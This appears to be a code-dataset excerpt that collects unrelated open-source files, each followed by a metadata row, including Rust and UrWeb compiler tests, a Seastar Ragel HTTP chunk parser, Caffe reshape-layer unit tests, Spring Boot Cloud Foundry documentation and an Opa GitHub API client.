</mt:If>
<!-- /.similar-contents --></div>
<!-- /.similar --></div>
</mt:EntriesFooter>
</mt:Entries> | MTML | 3 | webbingstudio/mt_theme_echo_bootstrap | dist/themes/echo_bootstrap/templates/parts_similar.mtml | [
"MIT"
] |
// Regression test for #67037.
//
// In type checking patterns, E0023 occurs when the tuple pattern and the expected
// tuple pattern have different number of fields. For example, as below, `P()`,
// the tuple struct pattern, has 0 fields, but requires 1 field.
//
// In emitting E0023, we try to see if this is a case of e.g., `Some(a, b, c)` but where
// the scrutinee was of type `Some((a, b, c))`, and suggest that parentheses be added.
//
// However, we did not account for the expected type being different than the tuple pattern type.
// This caused an issue when the tuple pattern type (`P<T>`) was generic.
// Specifically, we tried deriving the 0th field's type using the `substs` of the expected type.
// When attempting to substitute `T`, there was no such substitution, so "out of range" occurred.
struct U {} // 0 type parameters offered
struct P<T>(T); // 1 type parameter wanted
fn main() {
let P() = U {}; //~ ERROR mismatched types
//~^ ERROR this pattern has 0 fields, but the corresponding tuple struct has 1 field
}
| Rust | 5 | ohno418/rust | src/test/ui/pattern/issue-67037-pat-tup-scrut-ty-diff-less-fields.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
;foobar!
;Include "blurg/blurg.bb"
Const ca = $10000000 ; Hex
Const cb = %10101010 ; Binary
Global ga$ = "blargh"
Local a = 124, b$ = "abcdef"
Function name_123#(zorp$, ll = False, blah#, waffles% = 100)
Return 235.7804 ; comment
End Function
Function TestString$()
End Function
Function hub(blah$, abc = Pi)
End Function
Function Blar%()
Local aa %, ab # ,ac #, ad# ,ae$,af% ; Intentional mangling
Local ba#, bb.TBlarf , bc%,bd#,be. TFooBar,ff = True
End Function
abc()
Function abc()
Print "abc" ; I cannot find a way to parse these as function calls without messing something up
Print ; Anyhow, they're generally not used in this way
Goto Eww_Goto
.Eww_Goto
End Function
Type TBlarf
End Type
Type TFooBar
End Type
Local myinst.MyClass = New MyClass
TestMethod(myinst)
Type MyClass
Field m_foo.MyClass
Field m_bar.MyClass
; abc
; def
End Type
Function TestMethod(self.MyClass) ; foobar
self\m_foo = self
self\m_bar = Object.MyClass(Handle self\m_foo)
Yell self\m_foo\m_bar\m_foo\m_bar
End Function
Function Yell(self.MyClass)
Print("huzzah!")
End Function
Function Wakka$(foo$)
Return foo + "bar"
End Function
Print("blah " + "blah " + "blah.")
Local i : For i = 0 To 10 Step 1
Print("Index: " + i)
Next
Local array$[5]
array[0] = "foo": array[1] = "bar":array[2] = "11":array[3] = "22":array[4] = "33"
For i = 0 To 4
Local value$ = array[i]
Print("Value: " + value)
Next
Local foobar = Not (1 Or (2 And (4 Shl 5 Shr 6)) Sar 7) Mod (8+2)
Local az = 1234567890
az = az + 1
az = az - 2
az = az* 3
az = az/ 4
az = az And 5
az = az Or 6
az= ~ 7
az = az Shl 8
az= az Shr 9
az = az Sar 10
az = az Mod 11
az = ((10-5+2/4*2)>(((8^2)) < 2)) And 12 Or 2
;~IDEal Editor Parameters:
;~C#Blitz3D | BitBake | 4 | btashton/pygments | tests/examplefiles/test.bb | [
"BSD-2-Clause"
] |
[[actuator.cloud-foundry]]
== Cloud Foundry Support
Spring Boot's actuator module includes additional support that is activated when you deploy to a compatible Cloud Foundry instance.
The `/cloudfoundryapplication` path provides an alternative secured route to all `@Endpoint` beans.
The extended support lets Cloud Foundry management UIs (such as the web application that you can use to view deployed applications) be augmented with Spring Boot actuator information.
For example, an application status page can include full health information instead of the typical "`running`" or "`stopped`" status.
NOTE: The `/cloudfoundryapplication` path is not directly accessible to regular users.
To use the endpoint, you must pass a valid UAA token with the request.
[[actuator.cloud-foundry.disable]]
=== Disabling Extended Cloud Foundry Actuator Support
If you want to fully disable the `/cloudfoundryapplication` endpoints, you can add the following setting to your `application.properties` file:
[source,yaml,indent=0,subs="verbatim",configprops,configblocks]
----
management:
cloudfoundry:
enabled: false
----
[[actuator.cloud-foundry.ssl]]
=== Cloud Foundry Self-signed Certificates
By default, the security verification for `/cloudfoundryapplication` endpoints makes SSL calls to various Cloud Foundry services.
If your Cloud Foundry UAA or Cloud Controller services use self-signed certificates, you need to set the following property:
[source,yaml,indent=0,subs="verbatim",configprops,configblocks]
----
management:
cloudfoundry:
skip-ssl-validation: true
----
[[actuator.cloud-foundry.custom-context-path]]
=== Custom Context Path
If the server's context-path has been configured to anything other than `/`, the Cloud Foundry endpoints are not available at the root of the application.
For example, if `server.servlet.context-path=/app`, Cloud Foundry endpoints are available at `/app/cloudfoundryapplication/*`.
If you expect the Cloud Foundry endpoints to always be available at `/cloudfoundryapplication/*`, regardless of the server's context-path, you need to explicitly configure that in your application.
The configuration differs, depending on the web server in use.
For Tomcat, you can add the following configuration:
[source,java,indent=0,subs="verbatim"]
----
include::{docs-java}/actuator/cloudfoundry/customcontextpath/MyCloudFoundryConfiguration.java[]
----
| AsciiDoc | 4 | techAi007/spring-boot | spring-boot-project/spring-boot-docs/src/docs/asciidoc/actuator/cloud-foundry.adoc | [
"Apache-2.0"
] |
/*
* This file is open source software, licensed to you under the terms
* of the Apache License, Version 2.0 (the "License"). See the NOTICE file
* distributed with this work for additional information regarding copyright
* ownership. You may not use this file except in compliance with the License.
*
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright (C) 2020 Cloudius Systems, Ltd.
*/
#pragma once
#include <seastar/core/ragel.hh>
#include <seastar/core/sstring.hh>
#include <unordered_map>
namespace seastar {
%% machine chunk_head;
%%{
access _fsm_;
action mark {
g.mark_start(p);
}
action store_name {
_name = str();
}
action store_value {
_value = str();
}
action store_size {
_size = str();
}
action assign_value {
_extensions[_name] = std::move(_value);
}
action done {
done = true;
fbreak;
}
crlf = '\r\n';
sp = ' ';
ht = '\t';
sp_ht = sp | ht;
tchar = alpha | digit | '-' | '!' | '#' | '$' | '%' | '&' | '\'' | '*'
| '+' | '.' | '^' | '_' | '`' | '|' | '~';
# names correspond to the ones in RFC 7230 (with hyphens instead of underscores)
obs_text = 0x80..0xFF;
qdtext = any - (cntrl | '"' | '\\');
quoted_pair = ('\\' >{ g.mark_end(p); }) ((any - cntrl) >mark) ;
token = tchar+;
quoted_string = '"' ((qdtext | quoted_pair)* >mark %store_value) '"';
chunk_ext_name = token >mark %store_name;
chunk_ext_val = (token >mark %store_value) | quoted_string ;
chunk_size = xdigit+ >mark %store_size;
chunk_ext = (';' chunk_ext_name ('=' chunk_ext_val)? %assign_value)*;
main := chunk_size chunk_ext crlf @done;
}%%
class http_chunk_size_and_ext_parser : public ragel_parser_base<http_chunk_size_and_ext_parser> {
%% write data nofinal noprefix;
public:
enum class state {
error,
eof,
done,
};
std::unordered_map<sstring, sstring> _extensions;
sstring _name;
sstring _value;
sstring _size;
state _state;
public:
void init() {
init_base();
_extensions = std::unordered_map<sstring, sstring>();
_value = "";
_size = "";
_state = state::eof;
%% write init;
}
char* parse(char* p, char* pe, char* eof) {
sstring_builder::guard g(_builder, p, pe);
auto str = [this, &g, &p] { g.mark_end(p); return get_str(); };
bool done = false;
if (p != pe) {
_state = state::error;
}
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wmisleading-indentation"
#endif
%% write exec;
#ifdef __clang__
#pragma clang diagnostic pop
#endif
if (!done) {
if (p == eof) {
_state = state::eof;
} else if (p != pe) {
_state = state::error;
} else {
p = nullptr;
}
} else {
_state = state::done;
}
return p;
}
auto get_parsed_extensions() {
return std::move(_extensions);
}
auto get_size() {
return std::move(_size);
}
bool eof() const {
return _state == state::eof;
}
bool failed() const {
return _state == state::error;
}
};
%% machine chunk_tail;
// the headers in the chunk trailer are parsed the same way as in the request_parser.rl
%%{
access _fsm_;
action mark {
g.mark_start(p);
}
action move {
g.mark_end(p);
g.mark_start(p);
}
action store_field_name {
_field_name = str();
}
action no_mark_store_value {
_value = get_str();
g.mark_start(nullptr);
}
action checkpoint {
g.mark_end(p);
g.mark_start(p);
}
action assign_field {
if (_headers.count(_field_name)) {
_headers[_field_name] += sstring(",") + std::move(_value);
} else {
_headers[_field_name] = std::move(_value);
}
}
action extend_field {
_headers[_field_name] += sstring(" ") + std::move(_value);
}
action done {
done = true;
fbreak;
}
crlf = '\r\n';
tchar = alpha | digit | '-' | '!' | '#' | '$' | '%' | '&' | '\'' | '*'
| '+' | '.' | '^' | '_' | '`' | '|' | '~';
sp = ' ';
ht = '\t';
sp_ht = sp | ht;
ows = sp_ht*;
rws = sp_ht+;
obs_text = 0x80..0xFF; # defined in RFC 7230, Section 3.2.6.
field_vchars = (graph | obs_text)+ %checkpoint;
field_content = (field_vchars ows)*;
field = tchar+ >mark %store_field_name;
value = field_content >mark %no_mark_store_value;
header_1st = field ':' ows value crlf %assign_field;
header_cont = rws value crlf %extend_field;
header = header_1st header_cont*;
main := header* crlf @done;
}%%
class http_chunk_trailer_parser : public ragel_parser_base<http_chunk_trailer_parser> {
%% write data nofinal noprefix;
public:
enum class state {
error,
eof,
done,
};
std::unordered_map<sstring, sstring> _headers;
sstring _field_name;
sstring _value;
state _state;
public:
void init() {
init_base();
_headers = std::unordered_map<sstring, sstring>();
_field_name = "";
_value = "";
_state = state::eof;
%% write init;
}
char* parse(char* p, char* pe, char* eof) {
sstring_builder::guard g(_builder, p, pe);
auto str = [this, &g, &p] { g.mark_end(p); return get_str(); };
bool done = false;
if (p != pe) {
_state = state::error;
}
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wmisleading-indentation"
#endif
%% write exec;
#ifdef __clang__
#pragma clang diagnostic pop
#endif
if (!done) {
if (p == eof) {
_state = state::eof;
} else if (p != pe) {
_state = state::error;
} else {
p = nullptr;
}
} else {
_state = state::done;
}
return p;
}
auto get_parsed_headers() {
return std::move(_headers);
}
bool eof() const {
return _state == state::eof;
}
bool failed() const {
return _state == state::error;
}
};
}
| Ragel in Ruby Host | 4 | bigo-sg/seastar | src/http/chunk_parsers.rl | [
"Apache-2.0"
] |
198
0 1.79769313486232e+308
1 0.2
2 0.2
3 1.79769313486232e+308
4 0.2
5 0.2
6 1.79769313486232e+308
7 0.2
8 0.2
9 1.79769313486232e+308
10 0.2
11 0.2
12 1.79769313486232e+308
13 0.2
14 0.2
15 1.79769313486232e+308
16 0.2
17 0.2
18 1.79769313486232e+308
19 0.2
20 0.2
21 1.79769313486232e+308
22 0.2
23 0.2
24 1.79769313486232e+308
25 0.2
26 0.2
27 1.79769313486232e+308
28 0.2
29 0.2
30 1.79769313486232e+308
31 0.2
32 0.2
33 1.79769313486232e+308
34 0.2
35 0.2
36 1.79769313486232e+308
37 0.2
38 0.2
39 1.79769313486232e+308
40 0.2
41 0.2
42 1.79769313486232e+308
43 0.2
44 0.2
45 1.79769313486232e+308
46 0.2
47 0.2
48 1.79769313486232e+308
49 0.2
50 0.2
51 1.79769313486232e+308
52 0.2
53 0.2
54 1.79769313486232e+308
55 0.2
56 0.2
57 1.79769313486232e+308
58 0.2
59 0.2
60 1.79769313486232e+308
61 0.2
62 0.2
63 1.79769313486232e+308
64 0.2
65 0.2
66 1.79769313486232e+308
67 0.2
68 0.2
69 1.79769313486232e+308
70 0.2
71 0.2
72 1.79769313486232e+308
73 0.2
74 0.2
75 1.79769313486232e+308
76 0.2
77 0.2
78 1.79769313486232e+308
79 0.2
80 0.2
81 1.79769313486232e+308
82 0.2
83 0.2
84 1.79769313486232e+308
85 0.2
86 0.2
87 1.79769313486232e+308
88 0.2
89 0.2
90 1.79769313486232e+308
91 0.2
92 0.2
93 1.79769313486232e+308
94 0.2
95 0.2
96 1.79769313486232e+308
97 0.2
98 0.2
99 1.79769313486232e+308
100 0.2
101 0.2
102 1.79769313486232e+308
103 0.2
104 0.2
105 1.79769313486232e+308
106 0.2
107 0.2
108 1.79769313486232e+308
109 0.2
110 0.2
111 1.79769313486232e+308
112 0.2
113 0.2
114 1.79769313486232e+308
115 0.2
116 0.2
117 1.79769313486232e+308
118 0.2
119 0.2
120 1.79769313486232e+308
121 0.2
122 0.2
123 1.79769313486232e+308
124 0.2
125 0.2
126 1.79769313486232e+308
127 0.2
128 0.2
129 1.79769313486232e+308
130 0.2
131 0.2
132 1.79769313486232e+308
133 0.2
134 0.2
135 1.79769313486232e+308
136 0.2
137 0.2
138 1.79769313486232e+308
139 0.2
140 0.2
141 1.79769313486232e+308
142 0.2
143 0.2
144 1.79769313486232e+308
145 0.2
146 0.2
147 1.79769313486232e+308
148 0.2
149 0.2
150 1.79769313486232e+308
151 0.2
152 0.2
153 1.79769313486232e+308
154 0.2
155 0.2
156 1.79769313486232e+308
157 0.2
158 0.2
159 1.79769313486232e+308
160 0.2
161 0.2
162 1.79769313486232e+308
163 0.2
164 0.2
165 1.79769313486232e+308
166 0.2
167 0.2
168 1.79769313486232e+308
169 0.2
170 0.2
171 1.79769313486232e+308
172 0.2
173 0.2
174 1.79769313486232e+308
175 0.2
176 0.2
177 1.79769313486232e+308
178 0.2
179 0.2
180 1.79769313486232e+308
181 0.2
182 0.2
183 1.79769313486232e+308
184 0.2
185 0.2
186 1.79769313486232e+308
187 0.2
188 0.2
189 1.79769313486232e+308
190 0.2
191 0.2
192 1.79769313486232e+308
193 0.2
194 0.2
195 1.79769313486232e+308
196 0.2
197 0.2
| IDL | 0 | ricortiz/OpenTissue | demos/data/dlm/198/hi.dlm | [
"Zlib"
] |
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// The runtime package uses //go:linkname to push a few functions into this
// package but we still need a .s file so the Go tool does not pass -complete
// to the go tool compile so the latter does not complain about Go functions
// with no bodies.
| GAS | 2 | Havoc-OS/androidprebuilts_go_linux-x86 | src/os/signal/sig.s | [
"BSD-3-Clause"
] |
<a href="{{$.Site.Params.ghrepo}}" target="_blank">GitHub repository</a> | HTML | 2 | jlevon/hugo | docs/layouts/shortcodes/ghrepo.html | [
"Apache-2.0"
] |
fun main () = return <xml><body>
<b>Wowza!</i>
</body></xml>
| UrWeb | 0 | apple314159/urweb | tests/mismatch.ur | [
"BSD-3-Clause"
] |
[
(class)
(singleton_class)
(method)
(singleton_method)
(module)
(call)
(if)
(block)
(do_block)
(hash)
(array)
(argument_list)
(case)
] @indent
[
"("
")"
"{"
"}"
"["
"]"
(when)
(elsif)
"end"
] @branch
(comment) @ignore
| Scheme | 2 | hmac/nvim-treesitter | queries/ruby/indents.scm | [
"Apache-2.0"
] |
#include <vector>
#include "gtest/gtest.h"
#include "caffe/blob.hpp"
#include "caffe/common.hpp"
#include "caffe/filler.hpp"
#include "caffe/layers/reshape_layer.hpp"
#include "caffe/test/test_caffe_main.hpp"
#include "caffe/test/test_gradient_check_util.hpp"
namespace caffe {
template <typename TypeParam>
class ReshapeLayerTest : public MultiDeviceTest<TypeParam> {
typedef typename TypeParam::Dtype Dtype;
protected:
ReshapeLayerTest()
: blob_bottom_(new Blob<Dtype>(2, 3, 6, 5)),
blob_top_(new Blob<Dtype>()) {
// fill the values
FillerParameter filler_param;
GaussianFiller<Dtype> filler(filler_param);
filler.Fill(this->blob_bottom_);
blob_bottom_vec_.push_back(blob_bottom_);
blob_top_vec_.push_back(blob_top_);
}
virtual ~ReshapeLayerTest() { delete blob_bottom_; delete blob_top_; }
Blob<Dtype>* const blob_bottom_;
Blob<Dtype>* const blob_top_;
vector<Blob<Dtype>*> blob_bottom_vec_;
vector<Blob<Dtype>*> blob_top_vec_;
};
TYPED_TEST_CASE(ReshapeLayerTest, TestDtypesAndDevices);
TYPED_TEST(ReshapeLayerTest, TestFlattenOutputSizes) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(0);
blob_shape->add_dim(-1);
blob_shape->add_dim(1);
blob_shape->add_dim(1);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
EXPECT_EQ(this->blob_top_->num(), 2);
EXPECT_EQ(this->blob_top_->channels(), 3 * 6 * 5);
EXPECT_EQ(this->blob_top_->height(), 1);
EXPECT_EQ(this->blob_top_->width(), 1);
}
TYPED_TEST(ReshapeLayerTest, TestFlattenValues) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(0);
blob_shape->add_dim(-1);
blob_shape->add_dim(1);
blob_shape->add_dim(1);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_);
for (int c = 0; c < 3 * 6 * 5; ++c) {
EXPECT_EQ(this->blob_top_->data_at(0, c, 0, 0),
this->blob_bottom_->data_at(0, c / (6 * 5), (c / 5) % 6, c % 5));
EXPECT_EQ(this->blob_top_->data_at(1, c, 0, 0),
this->blob_bottom_->data_at(1, c / (6 * 5), (c / 5) % 6, c % 5));
}
}
// Test whether setting output dimensions to 0 either explicitly or implicitly
// copies the respective dimension of the input layer.
TYPED_TEST(ReshapeLayerTest, TestCopyDimensions) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(0);
blob_shape->add_dim(0);
blob_shape->add_dim(0);
blob_shape->add_dim(0);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
EXPECT_EQ(this->blob_top_->num(), 2);
EXPECT_EQ(this->blob_top_->channels(), 3);
EXPECT_EQ(this->blob_top_->height(), 6);
EXPECT_EQ(this->blob_top_->width(), 5);
}
// When a dimension is set to -1, we should infer its value from the other
// dimensions (including those that get copied from below).
TYPED_TEST(ReshapeLayerTest, TestInferenceOfUnspecified) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(0);
blob_shape->add_dim(3);
blob_shape->add_dim(10);
blob_shape->add_dim(-1);
// Count is 180, thus height should be 180 / (2*3*10) = 3.
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
EXPECT_EQ(this->blob_top_->num(), 2);
EXPECT_EQ(this->blob_top_->channels(), 3);
EXPECT_EQ(this->blob_top_->height(), 10);
EXPECT_EQ(this->blob_top_->width(), 3);
}
TYPED_TEST(ReshapeLayerTest, TestInferenceOfUnspecifiedWithStartAxis) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
layer_param.mutable_reshape_param()->set_axis(1);
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(3);
blob_shape->add_dim(10);
blob_shape->add_dim(-1);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
ASSERT_EQ(this->blob_top_->num_axes(), 4);
EXPECT_EQ(this->blob_top_->num(), 2);
EXPECT_EQ(this->blob_top_->channels(), 3);
EXPECT_EQ(this->blob_top_->height(), 10);
EXPECT_EQ(this->blob_top_->width(), 3);
}
TYPED_TEST(ReshapeLayerTest, TestInsertSingletonAxesStart) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
layer_param.mutable_reshape_param()->set_axis(0);
layer_param.mutable_reshape_param()->set_num_axes(0);
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(1);
blob_shape->add_dim(1);
blob_shape->add_dim(1);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
ASSERT_EQ(this->blob_top_->num_axes(), 7);
EXPECT_EQ(this->blob_top_->shape(0), 1);
EXPECT_EQ(this->blob_top_->shape(1), 1);
EXPECT_EQ(this->blob_top_->shape(2), 1);
EXPECT_EQ(this->blob_top_->shape(3), 2);
EXPECT_EQ(this->blob_top_->shape(4), 3);
EXPECT_EQ(this->blob_top_->shape(5), 6);
EXPECT_EQ(this->blob_top_->shape(6), 5);
}
TYPED_TEST(ReshapeLayerTest, TestInsertSingletonAxesMiddle) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
layer_param.mutable_reshape_param()->set_axis(2);
layer_param.mutable_reshape_param()->set_num_axes(0);
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(1);
blob_shape->add_dim(1);
blob_shape->add_dim(1);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
ASSERT_EQ(this->blob_top_->num_axes(), 7);
EXPECT_EQ(this->blob_top_->shape(0), 2);
EXPECT_EQ(this->blob_top_->shape(1), 3);
EXPECT_EQ(this->blob_top_->shape(2), 1);
EXPECT_EQ(this->blob_top_->shape(3), 1);
EXPECT_EQ(this->blob_top_->shape(4), 1);
EXPECT_EQ(this->blob_top_->shape(5), 6);
EXPECT_EQ(this->blob_top_->shape(6), 5);
}
TYPED_TEST(ReshapeLayerTest, TestInsertSingletonAxesEnd) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
layer_param.mutable_reshape_param()->set_axis(-1);
layer_param.mutable_reshape_param()->set_num_axes(0);
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(1);
blob_shape->add_dim(1);
blob_shape->add_dim(1);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
ASSERT_EQ(this->blob_top_->num_axes(), 7);
EXPECT_EQ(this->blob_top_->shape(0), 2);
EXPECT_EQ(this->blob_top_->shape(1), 3);
EXPECT_EQ(this->blob_top_->shape(2), 6);
EXPECT_EQ(this->blob_top_->shape(3), 5);
EXPECT_EQ(this->blob_top_->shape(4), 1);
EXPECT_EQ(this->blob_top_->shape(5), 1);
EXPECT_EQ(this->blob_top_->shape(6), 1);
}
TYPED_TEST(ReshapeLayerTest, TestFlattenMiddle) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
layer_param.mutable_reshape_param()->set_axis(1);
layer_param.mutable_reshape_param()->set_num_axes(2);
BlobShape* blob_shape = layer_param.mutable_reshape_param()->mutable_shape();
blob_shape->add_dim(-1);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
ASSERT_EQ(this->blob_top_->num_axes(), 3);
EXPECT_EQ(this->blob_top_->shape(0), 2);
EXPECT_EQ(this->blob_top_->shape(1), 3 * 6);
EXPECT_EQ(this->blob_top_->shape(2), 5);
}
TYPED_TEST(ReshapeLayerTest, TestForward) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
BlobShape* shape = layer_param.mutable_reshape_param()->mutable_shape();
shape->add_dim(6);
shape->add_dim(2);
shape->add_dim(3);
shape->add_dim(5);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_);
for (int i = 0; i < this->blob_bottom_->count(); ++i) {
EXPECT_EQ(this->blob_top_->cpu_data()[i],
this->blob_bottom_->cpu_data()[i]);
}
}
TYPED_TEST(ReshapeLayerTest, TestForwardAfterReshape) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
BlobShape* shape = layer_param.mutable_reshape_param()->mutable_shape();
shape->add_dim(6);
shape->add_dim(2);
shape->add_dim(3);
shape->add_dim(5);
ReshapeLayer<Dtype> layer(layer_param);
layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_);
layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_);
// We know the above produced the correct result from TestForward.
// Reshape the bottom and call layer.Reshape, then try again.
vector<int> new_bottom_shape(1, 2 * 3 * 6 * 5);
this->blob_bottom_->Reshape(new_bottom_shape);
layer.Reshape(this->blob_bottom_vec_, this->blob_top_vec_);
FillerParameter filler_param;
GaussianFiller<Dtype> filler(filler_param);
filler.Fill(this->blob_bottom_);
layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_);
for (int i = 0; i < this->blob_bottom_->count(); ++i) {
EXPECT_EQ(this->blob_top_->cpu_data()[i],
this->blob_bottom_->cpu_data()[i]);
}
}
TYPED_TEST(ReshapeLayerTest, TestGradient) {
typedef typename TypeParam::Dtype Dtype;
LayerParameter layer_param;
BlobShape* shape = layer_param.mutable_reshape_param()->mutable_shape();
shape->add_dim(6);
shape->add_dim(2);
shape->add_dim(3);
shape->add_dim(5);
ReshapeLayer<Dtype> layer(layer_param);
GradientChecker<Dtype> checker(1e-2, 1e-2);
checker.CheckGradientEltwise(&layer, this->blob_bottom_vec_,
this->blob_top_vec_);
}
} // namespace caffe
| C++ | 5 | asadanwar100/caffe | src/caffe/test/test_reshape_layer.cpp | [
"BSD-2-Clause"
] |
/*
Copyright © 2011 MLstate
This file is part of Opa.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*
* Author : Nicolas Glondu <[email protected]>
**/
package stdlib.apis.github.user
import stdlib.apis.github
import stdlib.apis.github.lib
/**
* GitHub user API module
*
* @category api
* @author Nicolas Glondu, 2011
* @destination public
*/
@private GHUp = {{
@private GP = GHParse
one_full_user(res:WebClient.success(string)) = GP.dewrap_whole_obj(res, GP.get_user)
multiple_users(res:WebClient.success(string)) = GP.multiple_objects(res, GP.get_user)
multiple_emails(res:WebClient.success(string)) = GP.list_strings(res)
one_public_key(res:WebClient.success(string)) = GP.dewrap_whole_obj(res, GP.get_public_key)
multiple_public_keys(res:WebClient.success(string)) = GP.multiple_objects(res, GP.get_public_key)
}}
GHUser = {{
@private GP = GHParse
/* Users */
get_user(user:GitHub.user_id) =
(path, data) = GHLib.userpath(user,"")
GHLib.api_get(path, data, GHUp.one_full_user)
update_user(token:string,
name:option(string), email:option(string), blog:option(string),
company:option(string), location:option(string), hireable:option(string), bio:option(string)) =
json = GHLib.mkopts([{sopt=("name",name)},{sopt=("email",email)},{sopt=("blog",blog)},{sopt=("company",company)},
{sopt=("location",location)},{sopt=("hireable",hireable)},{sopt=("bio",bio)}])
GHLib.api_patch_string("/user", token, json, GHUp.one_full_user)
/* Emails */
get_emails(token:string) =
GHLib.api_get_full("/user/emails", token, [], GHUp.multiple_emails)
add_emails(token:string, emails:list(string)) =
json = GHLib.mkslst(emails)
GHLib.api_post_string("/user/emails", token, json, GHUp.multiple_emails)
remove_emails(token:string, emails:list(string)) =
json = GHLib.mkslst(emails)
GHLib.api_delete_string("/user/emails", token, json, GP.expect_204)
/* Follow(/ing/ers) */
get_following(user:GitHub.user_id) =
(path, data) = GHLib.userpath(user,"following")
GHLib.api_get(path, data, GP.multiple_short_users)
get_followers(user:GitHub.user_id) =
(path, data) = GHLib.userpath(user,"followers")
GHLib.api_get(path, data, GP.multiple_short_users)
is_following(token:string, other_user:string) =
GHLib.api_get_full("/user/following/{other_user}", token, [], GP.expect_204_404)
follow(token:string, user:string) =
GHLib.api_put_string("/user/following/{user}", token, "", GP.expect_204)
unfollow(token:string, user:string) =
GHLib.api_delete_string("/user/following/{user}", token, "", GP.expect_204)
/* Public keys */
get_keys(token:string) =
GHLib.api_get_full("/user/keys", token, [], GHUp.multiple_public_keys)
get_key(token:string, id:int) =
GHLib.api_get_full("/user/keys/{id}", token, [], GHUp.one_public_key)
add_key(token:string, title:string, key:string) =
json = GHLib.mkopts([{sreq=("title",title)},{sreq=("key",key)}])
GHLib.api_post_string("/user/keys", token, json, GHUp.one_public_key)
update_key(token:string, id:int, title:string, key:string) =
json = GHLib.mkopts([{sreq=("title",title)},{sreq=("key",key)}])
GHLib.api_patch_string("/user/keys/{id}", token, json, GHUp.one_public_key)
remove_key(token:string, id:int) =
GHLib.api_delete_string("/user/keys/{id}", token, "", GP.expect_204)
}}
| Opa | 4 | Machiaweliczny/oppailang | lib/stdlib/apis/github/user/user.opa | [
"MIT"
] |
; Copyright (c) 2011, Google Inc.
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above
; copyright notice, this list of conditions and the following disclaimer
; in the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Google Inc. nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
